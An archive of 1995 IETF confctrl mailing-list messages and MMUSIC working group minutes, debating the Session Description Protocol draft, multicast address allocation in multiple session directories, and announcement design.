meta-coinference information....i.e. no conflict

 >Some other things to note:
 >- Unless there is also a collision in *port numbers*, the only potential
 >  problem caused by a collision of group addresses would be the delivery of
 >  extra packets on certain links.

err, yes, but this is sort of a bad thing...

 >- In IPv6 (with its increased address space), collisions of randomly-chosen
 >  multicast addresses should be extremely unlikely.

but if we start using multicast addresses hierarchically, we will use
up the address space a lot faster.....and as the bandwidth goes up,
and we get privacy tools, people wil luse sessions for long term work
groups in larger and larger numbers

i think engieerign something for less global consistency is not such a
good move unless we can think of good other reasons

there is a conference session name space which should be hierarchical.
but the directory tools should have a flat address space for
coordinating it....we will have other hierarhical tools for managing
traffic (ttl/threshold, administrative scoping, even hierarchical
multicast addresses or multicast IGP/EGP split....)

in fact, a Path Vector reverse path multicast, based on RMP and BGP
combiend would make a jolly good inter-domain multivcast routing
scheme., but thats for another list...

 jon


From owner-confctrl@ISI.EDU  Tue Apr 25 13:09:21 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA06706>; Tue, 25 Apr 1995 04:15:43 -0700
Received: from mailhost.lut.ac.uk (bgate.lut.ac.uk) by venera.isi.edu (5.65c/5.61+local-21)
	id <AA06702>; Tue, 25 Apr 1995 04:15:42 -0700
Received: from suna ([158.125.101.100]) by suna.lut.ac.uk (8.6.11/8.6.11) 
          with SMTP id MAA24782; Tue, 25 Apr 1995 12:14:34 +0100
Date: Tue, 25 Apr 1995 12:09:21 +0100 (BST)
From: "Jon P. Knight" <J.P.Knight@lut.ac.uk>
Sender: "Jon P. Knight" <J.P.Knight@lut.ac.uk>
Reply-To: "Jon P. Knight" <J.P.Knight@lut.ac.uk>
Subject: Re: Multiple session directories, and multicast address allocation
To: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Cc: Ross Finlayson <Ross.Finlayson@eng.sun.com>, confctrl
In-Reply-To: <894.798803804@cs.ucl.ac.uk>
Message-Id: <Pine.3.05.9504251235.E22998-b100000@suna>
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII

On Tue, 25 Apr 1995, Jon Crowcroft wrote:
>  Ross Finlayson wrote:
>  >The short answer is that he can't.  In fact, even the *current* (single
>  >directory) scheme can't guarantee that a new group address will not already
>  >be in use elsewhere.  For instance, there might have been a temporary
>  >network partition.  o
> right, but if the partition partitions the directory the same way as
> it partitions groups, then there is a homomorphism of users and
> meta-coinference information....i.e. no conflict

Ah but what if it doesn't partition the directory in the same way as it
partitioned the groups?  That's the sort of thing that was happening last
night when the MBONE was going loopy due to the Cisco unicast route flood
into the MBONE routing tables.  For example, I was trying to participate
in an RMP debugging session with Paul Harrington at St Andrews and Todd 
Montgomery at West Virginia University.  I could sometimes see both of
them and Paul could see me but not Todd while Todd could see me and not
Paul.  If either Paul or Todd started an annoucement in sd in this case I
could see it.  Just think what would happen to me if both of them started
sd announcements on the same <group address,port> pair but with different
media selected.  I could launch both and they'd collide horribly.  And it
gets worse because this particular MBONE failure mode appears to be
dynamic in that who could see and hear who changed over time.  Nasty.

Jon

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Jon Knight, Research Student in High Performance Networking and Distributed
Systems in the Department of _Computer_Studies_ at Loughborough University.
* It's not how big your share is, its how much you share that's important *






From owner-confctrl@ISI.EDU  Tue Apr 25 14:09:05 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA07380>; Tue, 25 Apr 1995 05:12:42 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA07376>; Tue, 25 Apr 1995 05:12:41 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA03400>; Tue, 25 Apr 1995 05:12:08 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.03088-0@bells.cs.ucl.ac.uk>; Tue, 25 Apr 1995 13:11:21 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 71 380 7777 ext 3666
To: Ross.Finlayson@eng.sun.com (Ross Finlayson)
Cc: confctrl
Subject: Re: Multiple session directories, and multicast address allocation
In-Reply-To: Your message of "Mon, 24 Apr 95 19:13:06 PDT." <9504250213.AA21724@auckland.Eng.Sun.COM>
Date: Tue, 25 Apr 95 13:09:05 +0100
Message-Id: <7279.798811745@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


>A couple of people have asked me how multicast address allocation would work
>in a world in which there is no longer just a single, flat session
>directory, but instead several different session directories, possibly
>(although not necessarily) linked together by subdirectory advertisements as
>I outlined in my message last week.  In particular, if there is no longer a
>*single* directory that's used for all multicast session announcements, and
>if it is not practical to listen in on all possible directories (e.g.,
>because you don't know them all), then how can the creator of a new session
>*guarantee* that his new multicast address is not already in use by some
>other session?
>
>The short answer is that he can't.  In fact, even the *current* (single
>directory) scheme can't guarantee that a new group address will not already
>be in use elsewhere.  For instance, there might have been a temporary
>network partition.  Or the group address might already be used by some
>existing application for which SDP isn't used at all.  So, the ability to
>monitor previous advertisements in a session directory can reduce the
>possibility of multicast address collision, but cannot eliminate it.

The question here is one of scalability of address allocation.
Currently, sd's allocation algorithm (informed partitioned random
multicast address allocation (IPRA)) scales pretty well, but it does
so mostly because it's informed, not because of the random part. The
partitioning is not useful unless the algorithm is informed.

One of the big holes with the current implementation is people who
start up sd and immediately announce a session - then they're using
partitioned random address allocation on a (relatively) small
partition, and the chances of a clash are comparatively high.  If an
sd is kept running, or can be updated on startup from someone else's
cache, then IPRA works pretty well.

As for temporary partitions - partitions are common, but long lived
ones are rare.  sd's timeouts are fairly long (a few hours), so it's
rare that sessions timeout.  Even so it's possible that sd caches can
keep track of sessions that recently timed out and then don't allocate
those addresses.  

The chances of a clash due to network partitioning are proportional to
the number of conferences announced during a partition (ie
proportional to the rate of announcement, and the length of
partitions).  That's where the random part of IPRA comes in.

The chances of a clash due to partitioning the announcement space
using sub-directories and not alllocating addresses to each
sub-directory are propertional to the number of announced sessions in
subdirectories.  The address space currently used for sd (16 bits) is
not large enough for the random part of IPRA to bail you out here.
Yes, there's more address space available, but do we really want to
use it this way?

Also, if we don't partition the announcement space, sd can discover
any clashes when a network partition goes away.  Then it's possible to
design automatic recovery mechanisms to change the announcement before
the session starts (assuming it's announced in advance).

I do not believe we should adopt an approach which will compromise the
scaling of sd's address allocation.  If we believe that a single
announcement address (or an announcement address per administratively
scoped region) received at all receivers will not scale sufficiently,
then we should be looking at approached based on networks of servers
which are contacted to do address allocation (ie, make the allocation
*mechanism* hierarchical).  Van has suggested this is the way to go in
the long term.  However, in the medium term, I believe the current
mechanism (modified for fast update on tool startup and for
administrative scoping) will scale better than the Mbone itself will
cope with the conferences involved.

The user interface side of things can be improved by a hierarchical
category field, without changing the distribution mechanism.
This is also useful for SDP announcements by email, WWW, etc.  

Mark

From owner-confctrl@ISI.EDU  Tue Apr 25 14:22:32 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA07551>; Tue, 25 Apr 1995 05:26:12 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA07547>; Tue, 25 Apr 1995 05:26:11 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA03414>; Tue, 25 Apr 1995 05:26:10 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.04629-0@bells.cs.ucl.ac.uk>; Tue, 25 Apr 1995 13:24:57 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 71 380 7777 ext 3666
To: Ross.Finlayson@eng.sun.com (Ross Finlayson)
Cc: confctrl
Subject: Re: Additional comments on the SDP draft
In-Reply-To: Your message of "Mon, 24 Apr 95 17:49:37 PDT." <9504250049.AA21641@auckland.Eng.Sun.COM>
Date: Tue, 25 Apr 95 13:22:32 +0100
Message-Id: <7320.798812552@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


>> ... I'm still unconvinced by the argument that
>> media fields benefit from having "i" fields to the extent that it's
>> worth adding the extra complexity to UIs to deal with it.
>
>But lets not forget that first and foremost we're designing a *protocol*,
>not an application.  If it makes sense - which I think it does - to allow
>short information strings to be associated with media descriptions, then the
>protocol should allow it.  It's up to application designers to decide what
>to do with this (if anything).

Actually I disagree with you - if a field is present, it must be
interpreted by the application.  

As I said before, I don't really mind the concept of media stream
labels - I'm just not convinced that they should be i= fields - along
with the implied lengthy descriptions.  

>No, please add a version field now, and make it manditory.  You won't
>regret it.  

OK.

>Also, it'll be better to make the version field part of the
>initial, *binary* portion of the payload (& probably at the start), in case
>you ever want to change this in the future.  

No, then you can't use SDP via email, WWW etc.  If it's in it has to
be a text field.

Mark

From owner-confctrl@ISI.EDU  Tue Apr 25 15:00:36 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA09012>; Tue, 25 Apr 1995 06:01:14 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA09008>; Tue, 25 Apr 1995 06:01:14 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA03494>; Tue, 25 Apr 1995 06:00:57 -0700
Received: from rodent.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.11051-0@bells.cs.ucl.ac.uk>; Tue, 25 Apr 1995 14:00:39 +0100
To: Mark Handley <M.Handley@cs.ucl.ac.uk>
Cc: Ross.Finlayson@eng.sun.com (Ross Finlayson), confctrl
Subject: Re: Additional comments on the SDP draft
In-Reply-To: Your message of "Tue, 25 Apr 95 13:22:32 BST." <7320.798812552@cs.ucl.ac.uk>
Date: Tue, 25 Apr 95 14:00:36 +0100
Message-Id: <1555.798814836@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>



 Mark

in some senses the scalable multimedia multiservice net of the future
is basically a question of finding the right intersection of
hierarchies!

for example, we are now proposing a name hierarchy for sessions, and a
scope hierarchy for session directory servers

there is a proposal for hierarchical multicast addresses, as well as a
hierarchy of (area?) multicast routers...

there is a Class Hierarchy of traffic types/flows, so that
scheduling/reservations can be aggregated in routers...

and in CCCP we have a hierarchy of media types so that we can get
scalable conference control...

hier and hier:-)

 jon


From estrin@ISI.EDU  Tue Apr 25 02:28:40 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA16534>; Tue, 25 Apr 1995 09:28:58 -0700
Received: from dji.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA16524>; Tue, 25 Apr 1995 09:28:52 -0700
Date: Tue, 25 Apr 1995 09:28:40 -0700
Posted-Date: Tue, 25 Apr 1995 09:28:40 -0700
Message-Id: <199504251628.AA05363@dji.isi.edu>
Received: by dji.isi.edu (5.65c/4.0.3-4)
	id <AA05363>; Tue, 25 Apr 1995 09:28:40 -0700
From: estrin@usc.edu (Deborah Estrin)
Sender: estrin@ISI.EDU
To: J.Crowcroft@cs.ucl.ac.uk
Cc: Ross.Finlayson@eng.sun.com, confctrl
In-Reply-To: Jon Crowcroft's message of Tue, 25 Apr 95 10:56:44 +0100 <894.798803804@cs.ucl.ac.uk>
Subject: Multiple session directories, and multicast address allocation
Reply-To: estrin@usc.edu

   In-Reply-To: Your message of "Mon, 24 Apr 95 19:13:06 PDT." <9504250213.AA21724@auckland.Eng.Sun.COM>
   From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>


   in fact, a Path Vector reverse path multicast, based on RMP and BGP
   combiend would make a jolly good inter-domain multivcast routing
   scheme., but thats for another list...

    jon

And it is a fairly accurate description of PIM when the underlying
unicast protocol is BGP :}

From owner-confctrl@ISI.EDU  Tue Apr 25 08:37:13 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA16906>; Tue, 25 Apr 1995 09:37:25 -0700
Received: from burdell.cc.gatech.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA16902>; Tue, 25 Apr 1995 09:37:23 -0700
Received: from flora.cc.gatech.edu (kevin@flora.cc.gatech.edu [130.207.8.20]) by burdell.cc.gatech.edu (8.6.12/8.6.9) with ESMTP id MAA03894; Tue, 25 Apr 1995 12:37:17 -0400
Received: (from kevin@localhost) by flora.cc.gatech.edu (8.6.10/8.6.9) id MAA06261; Tue, 25 Apr 1995 12:37:13 -0400
Date: Tue, 25 Apr 1995 12:37:13 -0400
From: kevin@cc.gatech.edu (Kevin C. Almeroth)
Message-Id: <199504251637.MAA06261@flora.cc.gatech.edu>
To: M.Handley@cs.ucl.ac.uk
Subject: Announcement Times
Cc: confctrl

Mark,

   One of the issues that came up at the IETF was that of background
bandwidth caused by sd advertisements being broadcast.  My opinion is
that the group essentially said these advertisements don't require that
much bandwidth.  For these reasons, we decided to leave in the field
identifiers, and to keep the fields as text.

   However, an issue that I haven't seen anything about is that of 
time-between-advertisements.  Should anything be specified in the standard 
about the frequency of announcements, limits on advertisement lengths, etc?
There are several policies which could be adopted to minimize bandwidth
and still maintain an effective announcement frequency.


Kevin Almeroth (kevin@cc.gatech.edu)
Networking and Telecommunications Research Group
College of Computing, Georgia Institute of Technology
http://www.cc.gatech.edu/computing/Telecomm/people/Phd/kevin/kevin.html

From owner-confctrl@ISI.EDU  Tue Apr 25 18:45:04 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA17713>; Tue, 25 Apr 1995 09:50:20 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA17707>; Tue, 25 Apr 1995 09:50:19 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA05284>; Tue, 25 Apr 1995 09:50:11 -0700
Received: from sol.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.16731-0@bells.cs.ucl.ac.uk>; Tue, 25 Apr 1995 17:45:14 +0100
To: estrin@usc.edu
Cc: Ross.Finlayson@eng.sun.com, confctrl
Subject: Re: Multiple session directories, and multicast address allocation
In-Reply-To: Your message of "Tue, 25 Apr 95 09:28:40 PDT." <199504251628.AA05363@dji.isi.edu>
Date: Tue, 25 Apr 95 17:45:04 +0100
Message-Id: <11799.798828304@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>



 >   in fact, a Path Vector reverse path multicast, based on RMP and BGP
 >   combiend would make a jolly good inter-domain multivcast routing
 >   scheme., but thats for another list...

 >And it is a fairly accurate description of PIM when the underlying
 >unicast protocol is BGP :}

so how do you pass path vector metrics through a non PIM/BGP net, when
connecting multiple DVMRP clouds together?

 jon


From owner-confctrl@ISI.EDU  Tue Apr 25 18:59:35 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA18361>; Tue, 25 Apr 1995 10:02:36 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA18357>; Tue, 25 Apr 1995 10:02:35 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA05380>; Tue, 25 Apr 1995 10:02:20 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.19467-0@bells.cs.ucl.ac.uk>; Tue, 25 Apr 1995 18:01:48 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 71 380 7777 ext 3666
To: kevin@cc.gatech.edu (Kevin C. Almeroth)
Cc: confctrl
Subject: Re: Announcement Times
In-Reply-To: Your message of "Tue, 25 Apr 95 12:37:13 EDT." <199504251637.MAA06261@flora.cc.gatech.edu>
Date: Tue, 25 Apr 95 17:59:35 +0100
Message-Id: <8191.798829175@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


>   One of the issues that came up at the IETF was that of background
>bandwidth caused by sd advertisements being broadcast.  My opinion is
>that the group essentially said these advertisements don't require that
>much bandwidth.  For these reasons, we decided to leave in the field
>identifiers, and to keep the fields as text.

Correct.  Sending them in a binary format would save ~50% of the
bandwidth.  However, that's not really important compared to the other
scaling issues involved.

>   However, an issue that I haven't seen anything about is that of 
>time-between-advertisements.  Should anything be specified in the standard 
>about the frequency of announcements, limits on advertisement lengths, etc?
>There are several policies which could be adopted to minimize bandwidth
>and still maintain an effective announcement frequency.

Actually, there is a section in the current draft on announcement
frequencies.  The current section describes what my version of sd is
designed to do, but is not what sd does right now.  However, the
general principle is the same.

There are a number of optimisations on this that we could consider.
For instance, the announcement rate could depend on whether the
session is active or not, and if its not active, it could depend on
the time since until the session.  It could also start by being more
frequently advertised when the session is created, and then backoff
down to a lower rate until the session starts.

However, a lot of this depends on the characteristics of the
distribution architecture, which is not really discussed properly in
the current draft.  This is one reason why I'd like to split the draft
into an SDP draft and an SDP distribution draft.  

Mark



From owner-confctrl@ISI.EDU  Tue Apr 25 07:05:00 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA29484>; Tue, 25 Apr 1995 14:06:42 -0700
Received: from Sun.COM (koriel.Sun.COM) by venera.isi.edu (5.65c/5.61+local-21)
	id <AA29480>; Tue, 25 Apr 1995 14:06:40 -0700
Received: from Eng.Sun.COM (engmail2.Eng.Sun.COM) by Sun.COM (koriel.Sun.COM)
	id AA04049; Tue, 25 Apr 95 14:06:38 PDT
Received: from auckland.Eng.Sun.COM by Eng.Sun.COM (5.x/SMI-5.3)
	id AA25182; Tue, 25 Apr 1995 14:06:33 -0700
Received: by auckland.Eng.Sun.COM (5.x/SMI-SVR4)
	id AA24405; Tue, 25 Apr 1995 14:05:00 -0700
Date: Tue, 25 Apr 1995 14:05:00 -0700
From: Ross.Finlayson@Eng.Sun.COM (Ross Finlayson)
Message-Id: <9504252105.AA24405@auckland.Eng.Sun.COM>
To: confctrl
Subject: Re: Additional comments on the SDP draft
Reply-To: finlayson@Eng.Sun.COM
X-Sun-Charset: US-ASCII

> >Also, it'll be better to make the version field part of the
> >initial, *binary* portion of the payload (& probably at the start), in case
> >you ever want to change this in the future.  
> 
> No, then you can't use SDP via email, WWW etc.  If it's in it has to
> be a text field.

OK, it sounds like you'll need a version field in *both* the text portion
and the binary header (unless, of course, you're sure that the format binary
header will never change in the future :-).

	Ross.

From owner-confctrl@ISI.EDU  Tue Apr 25 10:36:16 1995
Received: by venera.isi.edu (5.65c/5.61+local-21)
	id <AA09604>; Tue, 25 Apr 1995 17:37:43 -0700
Received: from Sun.COM (koriel.Sun.COM) by venera.isi.edu (5.65c/5.61+local-21)
	id <AA09600>; Tue, 25 Apr 1995 17:37:42 -0700
Received: from Eng.Sun.COM (engmail2.Eng.Sun.COM) by Sun.COM (koriel.Sun.COM)
	id AA17876; Tue, 25 Apr 95 17:37:35 PDT
Received: from auckland.Eng.Sun.COM by Eng.Sun.COM (5.x/SMI-5.3)
	id AA22633; Tue, 25 Apr 1995 17:37:32 -0700
Received: by auckland.Eng.Sun.COM (5.x/SMI-SVR4)
	id AA24643; Tue, 25 Apr 1995 17:36:16 -0700
Date: Tue, 25 Apr 1995 17:36:16 -0700
From: Ross.Finlayson@Eng.Sun.COM (Ross Finlayson)
Message-Id: <9504260036.AA24643@auckland.Eng.Sun.COM>
To: confctrl
Subject: Re: Multiple session directories, and multicast address allocation
Reply-To: finlayson@Eng.Sun.COM
X-Sun-Charset: US-ASCII

Henning S. writes:
> Given the absence of a feasible alternate address allocation mechanism, 
> I would be VERY reluctant to abandon whatever means we do have.

Just to make it clear - I was definitely not suggesting that a node that
cons's up (e.g., using "IPRA") a multicast address for a new session should
ignore any existing addresses that it knows about.  On the contrary.
My main point was that even the *existing* "sd" scheme does not prevent the
possibility of group address collision.  (We've already discussed how both
network partitioning and "sd"-startup can cause this.  Yet another example
is a session whose scope gets increased subsequent to its original creation.)

Jon C. writes:
> >- In IPv6 (with its increased address space), collisions of randomly-chosen
> >  multicast addresses should be extremely unlikely.
> 
> but if we start using multicast addresses hierarchically, we will use
> up the address space a lot faster.....and as the bandwidth goes up,
> and we get privacy tools, people wil luse sessions for long term work
> groups in larger and larger numbers
> 
> i think engieerign something for less global consistency is not such a
> good move unless we can think of good other reasons

Again, the potential for inconsistency has always been there; it's just that
multiple session directories increase the probability of encountering it.
If this forces us to remove our heads from the sand and pay closer attention
to how we might deal with this, then that's A Good Thing.  (Note also my
earlier comments about denial of service attacks.)
 
> there is a conference session name space which should be hierarchical.
> but the directory tools should have a flat address space for
> coordinating it....

In this discussion, it's important to keep in mind the distinction - that
you've noted - between (i) the mechanism that's used to announce/advertise
sessions, and (ii) the mechanism by which multicast addresses are allocated.
SDP is a protocol for (i): session announcement/advertising.  It's also
been pointed out that it can be convenient (for administrative and/or
scaling reasons) to use SDP over directory groups other than the one that's
currently built into "sd".  (To follow on from your scenario above, one can
imagine corporations conducting their internal business over the global
Internet (using encryption, of course); they are likely to want their own
session directory, in addition to the public one(s).) 

Regarding (ii) - multicast address allocation - a variety of schemes are
possible: static/dynamic, hierarchical etc.  Now, it turns out that one very
useful dynamic allocation algorithm ("IRPA") is built into the "sd"
application (the initial implementation of SDP).  This particular algorithm
works well because "sd" uses just a single directory group, and so can
easily keep track of every announcement.  (But it should be noted that even
in "sd", the use of this algorithm is optional; nothing prevents you from
typing in an arbitrary group address that you may have allocated by some
other means.)  People have also pointed out - correctly - that if SDP were
run over multiple directories, using this same algorithm (& the same address
range) on each, then the probability of address collisions is increased.
So this will probably need to get mentioned in the documentation somewhere
- e.g., we might mention the use of "IRPA" from a specified address
range, but recommend this only for the public 'root' directory.

Plus, as Mark H. pointed out, other address allocation mechanisms
(e.g., hierarchical, or maybe IRPA-like allocation of *chunks* of address
space) may emerge in the future.  So let's not get too hung up about 
multicast address allocation; it's really a separate issue.

	Ross.

From owner-confctrl@ISI.EDU  Tue May  2 09:30:18 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA11721>; Tue, 2 May 1995 16:30:36 -0700
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-21)
	id <AA11711>; Tue, 2 May 1995 16:30:23 -0700
Received: from churchy.std.sri.com by std.sri.com (4.1/SMI-4.1)
	id AA03264; Tue, 2 May 95 16:30:19 PDT
Message-Id: <9505022330.AA03264@std.sri.com>
To: confctrl
Subject: MMUSIC minutes
Date: Tue, 02 May 1995 16:30:18 -0700
From: Ruth Lang <rlang@std.sri.com>


FYI.  Enclosed are the minutes for the MMUSIC meeting that was held 4/5/95.

Ruth Lang

--------------------------

      Multiparty Multimedia Session Control (MMUSIC) Working Group
	                Minutes from the 32nd IETF
	                  Danvers, Massachusetts
        	             April 5, 1995

				Chairs

		Mark Handley, m.handley@cs.ucl.ac.uk
	 	Ruth Lang, rlang@sri.com
		Eve Schooler, schooler@cs.caltech.edu


These notes were prepared by Ruth Lang.  An on-line copy of the
minutes and the accompanying PostScript slides are available from
ftp://ftp.isi.edu/confctrl/minutes in the files ietf.4.95 and
slides.4.95.tar.
	
The Multiparty Multimedia Session Control Working Group (MMUSIC) met
for two sessions (one planned and one impromptu) on April 5 at the
32nd IETF.

Ruth Lang gave an overview of the revised Working Group charter
(slides.4.95.a).  The new charter provides a more balanced focus on
the range of conferencing styles, motivates the development of
solutions for loosely-controlled conferences, and encourages
identification of interoperability issues with related
international/consortium standards efforts.  New goals and milestones
were reviewed.  No comments on the revision were received during the
meeting, but were requested to be sent to confctrl@isi.edu.  The
revised charter will be sent for review by the Transport Area Chair
and subsequent submission to the IESG in April.

Abel Weinrib presented an update on the Agreement Protocol.  A
document in Internet-Draft format describing the protocol was
circulated to the list.  After some formatting issues have been
addressed, it will be submitted as an Internet-Draft.  Ted Ko, who
described his implementation of the Agreement Protocol at the MMUSIC
meeting during the 31st IETF, has not made progress toward making this
implementation available, or on writing an associated usage document.
Abel will encourage progress on both and report status to
confctrl@isi.edu.

Abel Weinrib gave an overview of the Personal Conferencing
Specification.  Recently the Personal Conferencing Working Group
announced intention to include H.32Z.2 and H.261 in the specification.
The latter signals a move away from exclusive inclusion of a
proprietary video encoding technology. H.32Z.2, which describes visual
telephone systems and terminal equipment, is focused on LAN transport
but as indicated by the editor of H22Z, there may be some overlap
between it and RTP.

Mark Handley (slides.4.95.b) provided an overview and in-depth
discussion of the Session Description Protocol (SDP).  A continuation
of this discussion was the subject of the afternoon MMUSIC session.
Constructive comments and discussion resulted in about a dozen issues
that Mark and Van will address.  Some suggested changes which are
consistent with the general design goals encouraged further departure
from SDPv1 format (e.g., move start/stop times from conference data to
repeat time field).  Some issues were left as outstanding and will be
discussed on the mailing list (e.g., IPv4 vs IPv6 address formats in
the SDP header vs removing field altogether as redundant with
originating host field).  Mark Handley will circulate a detailed list
of suggested changes and outstanding issues to confctrl@isi.edu.  An
revised Internet-Draft has been targeted for resubmission in June.

Henning Schulzrinne (slides.4.95.c) described a local conference
control architecture which includes a message replicator, media
agents, and conference controllers.  The message replicator provides
content-based filtering and a lower-overhead alternative to local
multicast distribution of control messages.  He described an ASCII
control message protocol which uses hierarchical descriptors to name
conference components (similar to CCCP).

Steve Casner (slides.4.95.d) provided a brief overview of the
distribution of control functions with respect to RTP/RTCP.  He
described a control issue raised on the rem-conf mailing list (error
reporting), and two approaches and their tradeoffs to providing
additional control functionality distribution: adding application
specific control messages to RTCP, and placing needed functionality in
another session control protocol.  Due to lack of time, no discussion
on this topic occurred but is expected to continue on rem-conf.

Vinay Kumar described an application he has developed which uses MIME
email and WWW to create point-to-point conferences using MBONE tools.
Use of email as an invitation/rendezvous mechanism met Vinay's goals
of providing non-intrusive rendezvous.  Bill Fenner suggested that
"sd_launch" could be used by Vinay's tool to support the creation of
multiparty conferences.

In addition to actions implied by the Goals and Milestones in the
charter, the goal of developing Interoperability usage scenarios
(MMUSIC protocols with industry/international consortium standards)
was identified.  Carsten Bormann and Joerg Ott will lead this effort.




From owner-confctrl@ISI.EDU  Wed May  3 14:02:32 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA04790>; Wed, 3 May 1995 05:05:04 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA04786>; Wed, 3 May 1995 05:05:03 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA03709>; Wed, 3 May 1995 05:04:59 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.29948-0@bells.cs.ucl.ac.uk>; Wed, 3 May 1995 13:03:00 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 71 380 7777 ext 3666 or +44 71 387 7050 ext 3666
To: confctrl
Subject: SDP "category" or "thread" field
Date: Wed, 03 May 95 13:02:32 +0100
Message-Id: <9256.799502552@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


One suggestion made at Danvers was to add a "category" or "thread"
field.  The intention is to make it easier for a client to display
only sessions a user is interested in (ie, to use it to filter
announcements).

I think this is a good idea, but I've been trying to decide what form
it should take, and come to the conclusion that I'm not really sure
how it would be used.

My thoughts were that this would be hierarchical in a similar fashion
to usenet newsgroup names (didn't Jon Crowcroft suggest this back in
1992?).  Thus when a new session is announced, it gets displayed if
you've expressed an interest in that category.  If you didn't express
an interest in that category, then the highest level of the hierarchy
which you haven't expressed an interest either way would be displayed.
If you expressed a disinterest in any level of the hierarchy then the
session is simply not displayed.  (This is not necessarily the same
issue as Ross's subdirectories, although it might look similar to a
user)

Now, this could work, but conference sessions aren't really like
usenet news groups - they usually don't need the hierarchy to tie a
thread together, and there's much more of a problem with hierarchy
bloat (it's not so easy to set up a new news group as it is to create
a new session with a new category).  It's not clear how someone new to
the game is presented with a suitable categorisation for their
session.  It seems that if we do this, we risk the categorisation
degenerating into chaos and becoming of little use.  Any ideas how we
could manage this?

Other options are available. For instance, we could just have a set of
keywords.  However, it's not clear to me whether this solves much.

Ideas?

Mark

From owner-confctrl@ISI.EDU  Wed May  3 13:47:11 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA04450>; Wed, 3 May 1995 04:47:44 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-21)
	id <AA04446>; Wed, 3 May 1995 04:47:44 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA03664>; Wed, 3 May 1995 04:47:39 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.28207-0@bells.cs.ucl.ac.uk>; Wed, 3 May 1995 12:47:11 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 71 380 7777 ext 3666 or +44 71 387 7050 ext 3666
To: confctrl
Subject: Summary of SDP changes suggested in Danvers
Date: Wed, 03 May 95 12:47:11 +0100
Message-Id: <9242.799501631@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


I had intended to get a new SDP draft out by now, but I've been a
little delayed - hopefully I'll get it done next week.  In the
meantime, Ruth encouraged me to send out my rough notes from the
meeting.  These are what I typed up on the plane on the way back, not
necessarily what will go into the draft.  

In the meantime, I've been porting sdr (my sd client) to SDPv2 and
started to realise how difficult writing a friendly GUI to the repeat
time fields is :-) Any suggestions are welcome!

Mark

--------

Changes and Omissions from draft-ietf-mmusic-sdp-00

- Need to clarify when two announcements refer to the same session.

- Ross Finlayson raised the issue of hierarchical announcements - sdp
announcements that announce/reference sets of other sdp announcements.

- The issue of having a hierarchical category field was also raised to
aid finding a session.

- It was suggested that either an email or a phone field should be
compulsory.

